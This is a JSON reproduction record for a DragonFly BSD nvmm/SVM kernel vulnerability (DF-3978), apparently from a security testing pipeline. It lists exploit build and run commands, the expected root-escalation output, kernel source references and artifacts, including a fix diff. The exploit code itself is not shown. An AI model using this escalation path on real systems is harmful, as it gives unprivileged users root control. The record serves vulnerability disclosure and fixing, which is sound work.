{
  "verdict": "reproduced",
  "impact": "uid0_privesc",
  "finding_id": "DF-3978",
  "reproduce": {
    "build": "cc -O2 -o /tmp/exploit exploit.c -I/usr/src/sys   (DragonFly guest, QEMU TCG +svm instance; rig: make SYSDIR=/usr/src/sys)",
    "run": "staged campaign as unprivileged testnv (group nvmm): /tmp/exploit 1 10 40 a0 a4 baseline | arm | 0 10 40 a0 a4 consume (+ rig pfind feed via /tmp/df3978.pproc); root only reads sysctl kern.df3978_msrs between stages",
    "expected": "vulnerable: rig MSRs flip cs=0->0x8 esp=0->0x50000800 eip=0->0x40000000 after one unprivileged VCPU_RUN and persist after the armer exits; consume child prints '[C5] RETURNED FROM RING 0: cr0=0x80050033 marker=0x3978', arming process reports uid=0 euid=0, /tmp/df3978_pwned owned by root:wheel, guest survives. fixed module (fix.diff): MSRs stay cs=0 esp=0 eip=0, consume child dies with SIGBUS (status 138), no artifact."
  },
  "kernel_refs": [
    "sys/dev/virtual/nvmm/x86/nvmm_x86_svmfunc.S:180",
    "sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c:1524",
    "sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c:1513",
    "sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c:1646",
    "sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c:1793",
    "sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c:2005",
    "sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c:2345",
    "sys/dev/virtual/nvmm/x86/nvmm_x86_vmx.c:3021",
    "sys/dev/virtual/nvmm/nvmm_dragonfly.c:392"
  ],
  "artifacts": [
    "README.md", "VERDICT.md", "exploit.c", "df3978_rig.c", "Makefile.rig",
    "test_relax.diff", "build.sh", "run.sh", "build.log", "fix_build.log",
    "run.log", "fix_run.log", "intlog-excerpt.txt", "env.txt", "fix.diff",
    "sysenter_hijack.c", "manifest.json", "verdict.json"
  ]
}